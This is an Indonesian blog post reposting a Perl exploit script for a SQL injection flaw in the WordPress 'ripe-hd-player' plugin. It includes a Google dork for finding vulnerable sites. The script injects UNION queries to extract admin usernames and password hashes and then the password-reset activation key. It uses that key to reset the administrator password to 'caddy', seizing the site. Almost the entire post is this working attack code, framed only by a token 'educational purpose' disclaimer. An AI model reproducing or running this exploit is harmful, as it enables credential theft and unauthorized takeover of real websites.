Kamis, 24 Desember 2015

Injector Exploit Database


1. WordPress hd-player 0day Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1               #########################################              1
#0               I'm Caddy-dz member from Inj3ct0r Team                 1
#1               #########################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
    
####
  
# Exploit Title: WordPress hd-player 0day Exploit
  
# Author: Caddy-Dz
  
  
# E-mail: noface_x@hotmail.com
  
  
# Category:: webapps
  
# Google Dork: inurl:"/wp-content/plugins/ripe-hd-player
  
# Security Risk: High
  
# Tested on: Ubuntu
  
####
  
#
  
# Greets : 1337day Team , NoFace, Exploit-ID Team , Algerian Cyber Army Team , KedAns-Dz , Kalashincov3 , The Unknown , Fawzi Cold-Fire
  
# .. The Crazy 3D Team , Kha&mix , King Of Pirates , xDZx-Team ... and all Indonesian hackers .
  
#
  
# this was written for educational purpose only. use it at your own risk.
  
# author will be not responsible for any damage caused! user assumes all responsibility
  
# intended for authorized web application pentesting only!
  
  
  
  
  
#####################################################################################################
  
# >>> sqli vulnerability discovered in the same plugin and posted ; http://1337day.com/exploit/20199
  
# this exploit was written to develope this vulnerability to get full access of the wordpress script
  
# and bypassing the hash password into a constant password = caddy
  
#####################################################################################################
  
  
  
use IO::Socket;
  
use LWP::Simple;
  
use LWP::UserAgent;
  
  
  
system('cls');
  
system('color a');
  
    
  
    
  
if(@ARGV < 2)
  
{
  
print "[-]How To Use\n\n";
  
&help; exit();
  
}
  
sub help()
  
{
  
print "[+] usage1 : perl $0 site.com / \n";
  
print "[+] usage2 : perl $0 site.com /path/ \n";
  
print "[+] Note ! : do not use (http://) and leave space between the host and (/) \n or the path like the exemple";
  
}
  
    
  
print  "\n****************************************************\n";
  
print  "\n*                coded by Caddy-Dz                 *\n";
  
print  "\n*          email: noface_x[at]hotmail.com          *\n";
  
print  "\n* Fb Page: http://facebook.com/Algerian.Cyber.Army *\n";
  
print  "\*****************************************************\n";
  
($Target, $path,$file_vuln, $sql_query,) = @ARGV;
  
   
  
my $file_vuln = "/wp-content/plugins/ripe-hd-player/config.php?id=-3";
my $sql_query = '+/**/UNION/**/+/**/SELECT/**/+1,2,concat(0x23,user_login,0x3a,user_pass,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+wp_users--';
my $url = "http://" . $Target . $path . $file_vuln . $sql_query;
print "\n wait!!! \n\n";
  
    
  
my $request   = HTTP::Request->new(GET=>$url);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
  
my $response  = $useragent->request($request);
my ($username,$password);
if ($response->is_success) {
  
my $res   = $response->content;
if ($res =~ m/[#](.*):(.*)[#]/g) {
  
($username,$password) = ($1,$2);
  
print "[+] username and password :\n\n$username:$password \n\n";
  
}
  
else { print "[-] Error, Fail to get admin login.\n\n"; }
  
}
  
else { print "[-] Error, ".$response->status_line."\n\n";
  
}
  
  
  
  
  
my $activation = 'http://' . $Target . $path . 'wp-login.php?action=lostpassword';
sub post_url {
  
my( $activation, $formref ) = @_;
  
my $ua = new LWP::UserAgent(timeout => 300);
$ua->agent('perlproc/1.0');
my $get = $ua->post($activation, $formref );
}
  
my %param = ( 'user_login' => $username , 'wp-submit' => 'Get New Password' ); # you must change the parametre "Get New Password" if you're using other wordpress language version
  
print post_url( $activation, \%param );
  
  
my $sql_activation = "http://" . $Target . $path . "wp-content/plugins/ripe-hd-player/config.php?id=-3+/**/UNION/**/+/**/SELECT/**/+1,2,concat(0x23,user_activation_key,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+wp_users--";
my $request3   = HTTP::Request->new(GET=>$sql_activation);
  
my $useragent = LWP::UserAgent->new();
  
$useragent->timeout(10);
  
my $response2  = $useragent->request($request3);
my ($key);
if ($response2->is_success) {
  
my $res2   = $response2->content;
  
if ($res2 =~ m/[#](.*)[#]/g) {
  
($key) = ($1);
  
print "[+] user activation key : \n\n$key \n\n";
  
}
  
else { print "[-] Error, Fail to get user key.\n\n"; }
  
}
  
else { print "[-] Error, ".$response->status_line."\n\n";
  
}
  
  
my $link2 = "http://" . $Target . $path . "wp-login.php?action=rp&key=" . $key . "&login=" .$username;
use strict;
  
sub post_url {
  
my( $link2, $formref ) = @_;
  
my $ua2 = new LWP::UserAgent(timeout => 300);
  
  
  
$ua2->agent('perlproc/1.0');
  
  
  
my $get2 = $ua2->post($link2, $formref );
  
  
  
if( $get2->is_success ){
  
print "\nPassword bypassed and changed to => caddy \n";
  
} else {
  
print status_line;
  
  
  
}
  
}
my %param = ( 'pass1' => 'caddy', 'pass2' => 'caddy', 'wp-submit' => 'Reset Password' ); # you must change the parametre "Reset Password" if you're using other wordpress language version
  
print post_url( $link2, \%param );
  
# F2F77DA8172F8658   1337day.com [2013-05-21]   D97CD14F4A1FE01C #
===========================================================

Tidak ada komentar:

Posting Komentar